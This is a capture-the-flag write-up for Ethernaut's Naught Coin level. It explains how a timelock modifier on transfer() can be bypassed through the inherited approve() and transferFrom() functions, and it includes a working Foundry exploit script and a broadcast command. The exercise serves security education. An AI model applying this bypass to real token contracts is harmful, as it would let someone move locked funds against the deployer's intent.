# Ethernaut Level 15 - Naught Coin

## Objectives

This [level](https://ethernaut.openzeppelin.com/level/0x096bb5e93a204BfD701502EB6EF266a950217218) is based on ERC20 tokens, and our player is already holding all of them. To complete this level, we must get our token balance to 0, i.e., transfer all the tokens from our account to someone else's.

The catch is that there's a lockout period of 10 years and we need to bypass this somehow. Let's get started. 


---

## Analysis

To understand this level, we must know what an [ERC20](https://ethereum.org/en/developers/docs/standards/tokens/erc-20/) token standard is. It is an API for tokens that defines certain standard function calls, parameters, and events and anyone who intends to create an ERC20 token must follow those standards. 
This makes it easier for all the developers using these tokens to predict their usage and interactions. 

There are two important areas in this vulnerable contract. They are:
The function `transfer()` and the modifier `lockTokens()`. 

```solidity
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
    if (msg.sender == player) {
        require(now > timeLock);
        _;
    } else {
        _;
    }
}
```
To transfer the tokens out of our account we could have called the `transfer()` function but since it is using a modifier that is checking for the timelock period, we can't do this. 

This is where the knowledge of ERC20 is used. There are more ways to transfer tokens out of a contract. The `transfer()` function is one of the methods and the other one is `approve()` and `transferFrom()`. 

Both `approve()` and `transferFrom()` are used in conjunction. 

### approve

```solidity
function approve(address _spender, uint256 _value) public returns (bool success)
```
This function is used to allow the `_spender` to spend `_value` amount of tokens on behalf of the owner. 

### transferFrom

```solidity
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
```
This function is used to transfer the approved tokens (`_value`) from the owner's account to the address mentioned in the `_to` by the `_spender` approved in the previous step. 

Since the Naught Coin contract is inheriting from ERC20, and the modifier `lockTokens()` is not enforcing the timelock on the `transferFrom()` function, we are free to call  the approve and transferFrom to transfer all the tokens out of our account. 

---

## The Exploit

Here's our [exploit code](https://github.com/az0mb13/ethernaut-foundry/blob/master/script/level15.sol):

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel15.sol";

contract POC is Script {

    NaughtCoin level15 = NaughtCoin(0x3212D0421E355a28150991E610d0e01fa7b7Cf66);

    function run() external{
        vm.startBroadcast();
        address myWallet = 0xEAce4b71CA1A128e8B562561f46896D55B9B0246;
        uint myBal = level15.balanceOf(myWallet);
        console.log("Current balance is: ", myBal);

        level15.approve(myWallet, myBal);
        level15.transferFrom(myWallet, address(level15), myBal);

        console.log("New balance is: ", level15.balanceOf(myWallet));
        vm.stopBroadcast();
    }
}
```
In the code shown above, the address stored inside `myWallet` is our own wallet's/player address which owns all the Naught Coins. 

We are logging the current and the new balance of our player to make sure the attack was successful. 

* The `approve()` function is called to approve our own address to spend the total token balance. 
* The `transferFrom()` function is called to transfer the approved tokens from our account to any random account (I'm just using the Naught Coin contract address). 

Let's run the script using the following command. The console log shows the updated balance. 

```
forge script ./script/level15.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv
```

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1661608464005/c2So1LzCY.png align="left")

The instance can now be submitted to finish the level. 

> My **Github Repository** containing all the codes: github.com/az0mb13/ethernaut-foundry

---

## Takeaways
If you are inheriting from any token standard or another contract, make sure to implement all the available functions or check that they can't be abused to modify the contract's logic. 

---

#### References
* https://docs.openzeppelin.com/contracts/3.x/api/token/erc20
* https://ethereum.org/en/developers/docs/standards/tokens/erc-20/
